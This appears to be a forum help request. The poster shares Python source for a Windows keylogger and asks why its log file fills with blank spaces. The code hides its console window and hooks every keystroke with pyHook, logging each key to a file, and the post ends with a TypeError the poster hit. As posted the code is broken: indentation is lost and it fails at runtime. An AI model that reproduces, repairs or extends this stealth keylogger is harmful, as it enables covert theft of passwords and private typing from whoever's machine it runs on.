The program apparently works fine, it creates the file but in it it only writes blank spaces instead of the characters that I wrote.
I really need help with this since I do not know the reason for this, I saved it as .pyw
Here the code:
import win32api
import win32console
import win32gui
import pyHook,pythoncom,sys,logging
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
file_log = "C:\KEYLOGGER\Log.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hocks_manager = pyHook.HookManager()
hocks_manager.KeyDown=OnKeyboardEvent
hocks_manager.HookKeyboard()
pythoncom.PumpMessages()
When executing it in the console, after passing it to .py, and writing a key I get the following error
C:\Users\mi pc\Project\Python>python keyl_a.py TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_ code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'